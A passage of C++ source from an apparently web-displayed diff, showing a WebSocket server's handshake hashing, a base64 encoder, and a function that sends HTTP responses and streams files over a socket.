if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) {
|
||||
return "";
|
||||
}
|
||||
|
||||
if (!CryptCreateHash(hProv, CALG_SHA1, 0, 0, &hHash)) {
|
||||
CryptReleaseContext(hProv, 0);
|
||||
return "";
|
||||
}
|
||||
|
||||
CryptHashData(hHash, (BYTE*)concat.c_str(), (DWORD)concat.size(), 0);
|
||||
CryptGetHashParam(hHash, HP_HASHVAL, hash, &hashLen, 0);
|
||||
|
||||
CryptDestroyHash(hHash);
|
||||
CryptReleaseContext(hProv, 0);
|
||||
|
||||
// Base64 encode
|
||||
return base64Encode(hash, 20);
|
||||
}
|
||||
|
||||
std::string base64Encode(const uint8_t* data, size_t len) {
|
||||
static const char* chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
||||
std::string result;
|
||||
|
||||
int val = 0, valb = -6;
|
||||
for (size_t i = 0; i < len; i++) {
|
||||
val = (val << 8) + data[i];
|
||||
valb += 8;
|
||||
while (valb >= 0) {
|
||||
result.push_back(chars[(val >> valb) & 0x3F]);
|
||||
valb -= 6;
|
||||
}
|
||||
}
|
||||
if (valb > -6) {
|
||||
result.push_back(chars[((val << 8) >> (valb + 8)) & 0x3F]);
|
||||
}
|
||||
while (result.size() % 4) {
|
||||
result.push_back('=');
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
void sendHttpResponse(SOCKET sock, const HttpResponse& resp) {
|
||||
std::string statusText;
|
||||
switch (resp.status) {
|
||||
case 200: statusText = "OK"; break;
|
||||
case 403: statusText = "Forbidden"; break;
|
||||
case 404: statusText = "Not Found"; break;
|
||||
case 500: statusText = "Internal Server Error"; break;
|
||||
default: statusText = "Unknown"; break;
|
||||
}
|
||||
|
||||
// File streaming response
|
||||
if (!resp.filePath.empty()) {
|
||||
std::error_code ec;
|
||||
if (!fs::exists(resp.filePath, ec) || !fs::is_regular_file(resp.filePath, ec)) {
|
||||
std::string errResp = "HTTP/1.1 404 Not Found\r\nContent-Length: 0\r\n\r\n";
|
||||
::send(sock, errResp.c_str(), (int)errResp.size(), 0);
|
||||
return;
|
||||
}
|
||||
|
||||
uintmax_t fileSize = fs::file_size(resp.filePath, ec);
|
||||
if (ec) {
|
||||
std::string errResp = "HTTP/1.1 500 Internal Server Error\r\nContent-Length: 0\r\n\r\n";
|
||||
::send(sock, errResp.c_str(), (int)errResp.size(), 0);
|
||||
return;
|
||||
}
|
||||
|
||||
// Build headers
|
||||
std::string headers = "HTTP/1.1 200 OK\r\n";
|
||||
headers += "Content-Type: " + resp.contentType + "\r\n";
|
||||
headers += "Content-Length: " + std::to_string(fileSize) + "\r\n";
|
||||
for (const auto& [key, val] : resp.headers) {
|
||||
headers += key + ": " + val + "\r\n";
|
||||
}
|
||||
headers += "Connection: close\r\n\r\n";
|
||||
|
||||
::send(sock, headers.c_str(), (int)headers.size(), 0);
|
||||
|
||||
// Stream file content
|
||||
std::ifstream file(resp.filePath, std::ios::binary);
|
||||
if (file) {
|
||||
char buffer[65536];
|
||||
while (file) {
|
||||
file.read(buffer, sizeof(buffer));
|
||||
std::streamsize n = file.gcount();
|
||||
if (n > 0) {
|
||||
int sent = 0;
|
||||
while (sent < n) {
|
||||
int r = ::send(sock, buffer + sent, (int)(n - sent), 0);
|
||||
if (r <= 0) break;
|
||||
sent += r;
|
||||
}
|
||||
if (sent < n) break; // Send failed
|
||||
}
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
// Regular body response
|
||||
std::string response = "HTTP/1.1 " + std::to_string(resp.status) + " " + statusText + "\r\n";
|
||||
response += "Content-Type: " + resp.contentType + "\r\n";
|
||||
response += "Content-Length: " + std::to_string(resp.body.size()) + "\r\n";
|
||||
for (const auto& [key, val] : resp.headers) {
|
||||
response += key + ": " + val + "\r\n";
|
||||
}
|
||||
response += "Connection: close\r\n\r\n";
|
||||
response += resp.body;
|
||||
|
||||
::send(sock, response.c_str(), (int)response.size(), 0);
|
||||
}
|
||||
|
||||
private:
|
||||
SOCKET m_listenSocket;
|
||||
std::string m_path;
|
||||
std::atomic<bool> m_running;
|
||||
std::thread m_acceptThread;
|
||||
|
||||
std::vector<std::shared_ptr<Connection>> m_connections;
|
||||
std::mutex m_connectionsMutex;
|
||||
|
||||
// Thread counting for safe shutdown
|
||||
std::atomic<int> m_activeThreads;
|
||||
std::mutex m_threadCountMutex;
|
||||
std::condition_variable m_threadCountCV;
|
||||
|
||||
MessageHandler m_onMessage;
|
||||
BinaryHandler m_onBinary;
|
||||
ConnectHandler m_onConnect;
|
||||
DisconnectHandler m_onDisconnect;
|
||||
};
|
||||
|
||||
} // namespace ws
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user